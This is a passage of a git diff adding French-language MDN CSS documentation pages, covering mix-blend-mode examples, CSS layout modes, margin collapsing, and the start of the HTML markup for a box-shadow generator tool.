+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; lighten
+        &lt;div class="container lighten"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; overlay
+        &lt;div class="container overlay"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-dodge
+        &lt;div class="container color-dodge"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color-burn
+        &lt;div class="container color-burn"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hard-light
+        &lt;div class="container hard-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; soft-light
+        &lt;div class="container soft-light"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; difference
+        &lt;div class="container difference"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; exclusion
+        &lt;div class="container exclusion"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; hue
+        &lt;div class="container hue"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; saturation
+        &lt;div class="container saturation"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; color
+        &lt;div class="container color"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; luminosity
+        &lt;div class="container luminosity"&gt;
+          &lt;div class="group"&gt;
+            &lt;div class="item firefox"&gt;&lt;/div&gt;
+            &lt;svg viewBox="0 0 150 150"&gt;
+              &lt;ellipse class="item R" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item G" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+              &lt;ellipse class="item B" cx="75" cy="75" rx="25" ry="70"&gt;&lt;/ellipse&gt;
+            &lt;/svg&gt;
+          &lt;/div&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+  background: #EEE;
+}
+
+.grid {
+  width: 100%;
+  display: flex;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+  height: auto;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+  height: auto;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em .5em 0;
+  font: .8em sans-serif;
+  text-align: left;
+  white-space: nowrap;
+}
+
+.note + .row .cell {
+  margin-top: 0;
+}
+
+.container {
+  position: relative;
+  background: linear-gradient(to right, #000 0%, transparent 50%, #FFF 100%),
+              linear-gradient(to bottom, #FF0 0%, #F0F 50%, #0FF 100%);
+  width: 150px;
+  height: 150px;
+  margin: 0 auto;
+}
+
+.R {
+  transform-origin: center;
+  transform: rotate(-30deg);
+  fill: url(#red);
+}
+
+.G {
+  transform-origin: center;
+  transform: rotate(90deg);
+  fill: url(#green);
+}
+
+.B {
+  transform-origin: center;
+  transform: rotate(210deg);
+  fill: url(#blue);
+}
+
+.isolate .group { isolation: isolate; }
+
+.normal .item      { mix-blend-mode: normal; }
+.multiply .item    { mix-blend-mode: multiply; }
+.screen .item      { mix-blend-mode: screen; }
+.overlay .item     { mix-blend-mode: overlay; }
+.darken .item      { mix-blend-mode: darken; }
+.lighten .item     { mix-blend-mode: lighten; }
+.color-dodge .item { mix-blend-mode: color-dodge; }
+.color-burn .item  { mix-blend-mode: color-burn; }
+.hard-light .item  { mix-blend-mode: hard-light; }
+.soft-light .item  { mix-blend-mode: soft-light; }
+.difference .item  { mix-blend-mode: difference; }
+.exclusion .item   { mix-blend-mode: exclusion; }
+.hue .item         { mix-blend-mode: hue; }
+.saturation .item  { mix-blend-mode: saturation; }
+.color .item       { mix-blend-mode: color; }
+.luminosity .item  { mix-blend-mode: luminosity; }</pre>
+</div>
+
+<div>{{EmbedLiveSample("mix-blend-mode", "100%", 500, "", "", "example-outcome-frame")}}</div>
+
+<h3 id="Exemple_avec_SVG">Exemple avec SVG</h3>
+
+<h4 id="SVG">SVG</h4>
+
+<pre class="brush: html">&lt;svg&gt;
+  &lt;circle cx="40" cy="40" r="40" fill="red"/&gt;
+  &lt;circle cx="80" cy="40" r="40" fill="lightgreen"/&gt;
+  &lt;circle cx="60" cy="80" r="40" fill="blue"/&gt;
+&lt;/svg&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css">circle {
+  mix-blend-mode: screen;
+}</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_avec_SVG", "100%", "180")}}</p>
+
+<h3 id="Exemple_avec_HTML">Exemple avec HTML</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="isolate"&gt;
+  &lt;div class="circle circle-1"&gt;&lt;/div&gt;
+  &lt;div class="circle circle-2"&gt;&lt;/div&gt;
+  &lt;div class="circle circle-3"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.circle {
+  width: 80px;
+  height: 80px;
+  border-radius: 50%;
+  mix-blend-mode: screen;
+  position: absolute;
+}
+
+.circle-1 {
+  background: red;
+}
+
+.circle-2 {
+  background: lightgreen;
+  left: 40px;
+}
+
+.circle-3 {
+  background: blue;
+  left: 20px;
+  top: 40px;
+}
+
+.isolate {
+  isolation: isolate; /* Without isolation, the background color will be taken into account */
+  position: relative;
+}</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_avec_HTML", "100%", "180")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compositing', '#mix-blend-mode', 'mix-blend-mode')}}</td>
+   <td>{{Spec2('Compositing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.mix-blend-mode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("background-blend-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/mode_de_mise_en_page/index.html b/files/fr/web/css/mode_de_mise_en_page/index.html
new file mode 100644
index 0000000000..377b162194
--- /dev/null
+++ b/files/fr/web/css/mode_de_mise_en_page/index.html
@@ -0,0 +1,25 @@
+---
+title: Mode de mise en page
+slug: Web/CSS/Mode_de_mise_en_page
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/Layout_mode
+---
+<div>{{CSSRef}}</div>
+
+<p>Un <strong>mode de disposition CSS</strong> (<em>layout mode</em>), parfois raccourci en « disposition » est un algorithme qui détermine la position et la taille des boîtes des éléments en fonction des interactions avec leurs voisins et leurs ancêtres. Il existe plusieurs modes de disposition :</p>
+
+<ul>
+ <li><em><a href="/fr/docs/Web/CSS/CSS_Flow_Layout">Le flux normal (</a></em><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout">normal flow</a><em><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout">)</a></em> : tous les éléments font partie du flux normal par défaut. Le flux normal inclut la disposition en bloc qui permet d'organiser les boîtes comme les paragraphes et la disposition en ligne qui permet d'organiser les éléments en ligne comme le texte.</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Table"><em>La disposition en tableau (</em>Table layout<em>)</em></a> : cette disposition est conçue pour organiser des tableaux.</li>
+ <li><em>La disposition flottante (</em>Float layout<em>)</em> : cette disposition est conçue pour positionner des éléments à gauche ou à droite du reste du contenu en flux normal et qui évolue « autour » de ces éléments.</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Positioning"><em>La disposition positionnée (</em>Positioned layout<em>)</em></a> : cette disposition est conçue afin de positionner des éléments sans interaction avec les autres.</li>
+ <li><a href="/fr/docs/Web/CSS/Colonnes_CSS"><em>La disposition en colonnes (</em>Multi-column layout<em>)</em></a> : cette disposition permet d'organiser le contenu en colonnes, comme on peut le voir dans les journaux.</li>
+ <li><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox"><em>La disposition avec les boîtes flexibles (flexbox) (</em>flexible box layout<em>)</em></a> : cette disposition permet d'organiser des pages complexes qui peuvent être redimensionnées facilement.</li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout"><em>La disposition en grille (</em>Grid layout<em>)</em></a> : cette disposition permet d'organiser les éléments relativement à une grille fixe.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> <a href="/fr/docs/Web/CSS/Reference">Les propriétés CSS</a> ne s'appliquent toutes à tous les modes de disposition. La plupart des propriétés n'ont d'effet que pour un ou deux de ces modes et seront sans effet pour un élément qui s'inscrit dans un autre mode de disposition.</p>
+</div>
diff --git a/files/fr/web/css/modèle_de_boîte_css/fusion_des_marges/index.html b/files/fr/web/css/modèle_de_boîte_css/fusion_des_marges/index.html
new file mode 100644
index 0000000000..3b14f121d8
--- /dev/null
+++ b/files/fr/web/css/modèle_de_boîte_css/fusion_des_marges/index.html
@@ -0,0 +1,92 @@
+---
+title: Fusion des marges
+slug: Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+---
+<div>{{CSSRef}}</div>
+
+<div>Les marges <a href="/fr/docs/Web/CSS/margin-top">haute</a> et <a href="/fr/docs/Web/CSS/margin-bottom">basse</a> des blocs sont parfois fusionnées en une seule marge dont la taille est la plus grande des deux marges fusionnées. C'est ce qu'on appelle <strong>la fusion des marges</strong>.</div>
+
+<p>La fusion des marges se produit si on a l'un de ces trois cas :</p>
+
+<dl>
+ <dt>Des éléments voisins adjacents</dt>
+ <dd>Les marges des éléments voisins adjacents sont fusionnés (sauf quand le dernier voisin doit passer à la ligne pour <a href="/fr/docs/Web/CSS/clear">dégager</a> les flottements). Ainsi :
+ <pre class="brush: html"> &lt;p&gt;La marge basse de ce paragraphe est fusionnée…&lt;/p&gt;
+ &lt;p&gt;… avec la marge haute de celui-ci.&lt;/p&gt;
+</pre>
+ </dd>
+ <dt>Aucun contenu séparant le parent et ses descendants</dt>
+ <dd>S'il n'y a aucune bordure, remplissage, contenu en ligne (<em>inline</em>), lorsqu' un <a href="/fr/docs/Web/CSS/Block_formatting_context"> contexte de formatage de blocs </a> est créé ou <em><a href="/fr/docs/Web/CSS/clear">dégagement</a></em> pour séparer la marge haute d'un bloc avec la marge haute d'un ou plusieurs des blocs descendants ou quand il n'y a aucune bordure, remplissage, contenu en ligne, {{cssxref("height")}}, {{cssxref("min-height")}} ou {{cssxref("max-height")}} pour séparer la marge basse d'un bloc avec la marge basse d'un ou plusieurs des blocs descendants, ces marges sont fusionnées. La marge fusionnée termine en dehors de l'élément parent.</dd>
+ <dt>Des blocs vides</dt>
+ <dd>S'il n'y a aucune bordure, remplissage, contenu en ligne, {{cssxref("height")}} ou {{cssxref("min-height")}} pour séparer la marge haute d'un bloc de sa marge basse, ces deux marges sont fusionnées.</dd>
+</dl>
+
+<p>On peut avoir des cas de fusion plus complexes lorsque ces cas de figures sont combinés.</p>
+
+<p>Ces règles s'appliquent également lorsque les marges sont égales à 0. Ainsi, la marge d'une descendant finit toujours en dehors de l'élément parent (selon la deuxième règle vue ci-avant) quelle que soit la marge de l'élément parent (nulle ou non).</p>
+
+<p>Lorsqu'on manipule des marges négatives, la taille de la marge fusionnée est la somme de la marge positive la plus grande et de la marge négative la plus petite (celle dont la valeur est plus éloignée de 0).</p>
+
+<p>Les marges des éléments <a href="/fr/docs/Web/CSS/float">flottants</a> et <a href="/fr/docs/Web/CSS/position">positionnés de façon absolue</a> ne sont jamais fusionnées.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;La marge basse de ce paragraphe est fusionnée…&lt;/p&gt;
+&lt;p&gt;… avec la marge haute de ce paragraphe. On a donc une marge
+   de &lt;code&gt;1.2rem&lt;/code&gt; entre les deux.&lt;/p&gt;
+
+&lt;div&gt;Cet élément contient deux paragraphes !
+  &lt;p&gt;Celui-ci a une marge de &lt;code&gt;.4rem&lt;/code&gt; par rapport au texte ci-dessus.&lt;/p&gt;
+  &lt;p&gt;La marge basse de cet élément fusionne avec la marge basse
+     de l'élément parent. On a donc &lt;code&gt;2rem&lt;/code&gt; de marge.
+&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;p&gt;Bip bap bop.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  margin: 2rem 0;
+  background: lavender;
+}
+
+p {
+  margin: .4rem 0 1.2rem 0;
+  background: yellow;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples','100%',250)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/modèle_de_boîte_css/générateur_box-shadow/index.html b/files/fr/web/css/modèle_de_boîte_css/générateur_box-shadow/index.html
new file mode 100644
index 0000000000..77f236ac13
--- /dev/null
+++ b/files/fr/web/css/modèle_de_boîte_css/générateur_box-shadow/index.html
@@ -0,0 +1,2887 @@
+---
+title: Générateur de box-shadow
+slug: Web/CSS/Modèle_de_boîte_CSS/Générateur_box-shadow
+tags:
+  - CSS
+  - Outil
+translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator
+---
+<p>Cet outil visuel permet de construire des effets d'ombre et de générer du code pour la propriété {{cssxref("box-shadow")}} qui pourra être ajouté à votre feuille de style.</p>
+
+<div style="display: none;">
+<h2 id="box-shadow_generator" name="box-shadow_generator">box-shadow generator</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="layer_manager"&gt;
+            &lt;div class="group section"&gt;
+                &lt;div class="button" data-type="add"&gt; &lt;/div&gt;
+                &lt;div class="button" data-type="move-up"&gt; &lt;/div&gt;
+                &lt;div class="button" data-type="move-down"&gt; &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div id="stack_container"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="preview_zone"&gt;
+            &lt;div id="layer_menu" class="col span_12"&gt;
+                &lt;div class="button" id="element" data-type="subject" data-title="element"&gt; element &lt;/div&gt;
+                &lt;div class="button" id="before" data-type="subject" data-title=":before"&gt;
+                    :before
+                    &lt;span class="delete" data-type="disable"&gt;&lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="button" id="after" data-type="subject" data-title=":after"&gt;
+                    :after
+                    &lt;span class="delete" data-type="disable"&gt;&lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='before' data-label=":before"&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='after' data-label=":after"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="preview"&gt;
+                &lt;div id="obj-element"&gt;
+                    &lt;div class="content"&gt; &lt;/div&gt;
+                    &lt;div id="obj-before"&gt; &lt;/div&gt;
+                    &lt;div id="obj-after"&gt; &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="controls" class="group section"&gt;
+        &lt;div class="wrap-left"&gt;
+            &lt;div class="colorpicker category"&gt;
+                &lt;div class="title"&gt; &lt;/div&gt;
+                &lt;div id="colorpicker" class="group"&gt;
+                    &lt;div id="gradient" class="gradient"&gt;
+                        &lt;div id="gradient_picker"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="hue" data-topic="hue" class="hue"&gt;
+                        &lt;div id="hue_selector"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="info"&gt;
+                        &lt;div class="input" data-topic="hue" data-title='H:' data-action="HSV"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="saturation" data-title='S:' data-action="HSV"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="value" data-title='V:' data-action="HSV"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="alpha"&gt;
+                        &lt;div id="alpha" data-topic="alpha"&gt;
+                            &lt;div id="alpha_selector"&gt; &lt;/div&gt;
+                        &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="info"&gt;
+                        &lt;div class="input" data-topic="r" data-title='R:' data-action="RGB"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="g" data-title='G:' data-action="RGB"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="b" data-title='B:' data-action="RGB"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="preview block"&gt;
+                        &lt;div id="output_color"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="block info"&gt;
+                        &lt;div class="input" data-topic="a" data-title='alpha:' data-action="alpha"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="hexa" data-title='' data-action="hexa"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="wrap-right"&gt;
+
+            &lt;div id="shadow_properties" class="category"&gt;
+                &lt;div class="title"&gt; Propriétés d'ombre &lt;/div&gt;
+                &lt;div class="group"&gt;
+                    &lt;div class="group property"&gt;
+                        &lt;div class="ui-slider-name"&gt; inset &lt;/div&gt;
+                        &lt;div class="ui-checkbox" data-topic='inset'&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Position x &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posX" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posX" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="posX" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Position y &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posY" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posY" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="posY" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Blur &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="blur" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="blur" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="blur" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Spread &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="spread" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="spread" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="spread" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="element_properties" class="category"&gt;
+                &lt;div class="title"&gt; Propriétés d'ombre &lt;/div&gt;
+                &lt;div class="group"&gt;
+                    &lt;div class="group property"&gt;
+                        &lt;div class="ui-slider-name"&gt; border &lt;/div&gt;
+                        &lt;div class="ui-checkbox" data-topic='border-state' data-state="true"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="z-index" class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; z-index &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="z-index" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="z-index"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; top &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="top" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="top" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="top" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; left &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="left" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="left" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="left" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="transform_rotate" class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Rotate &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="rotate" data-type="add"&gt;&lt;/div&gt;
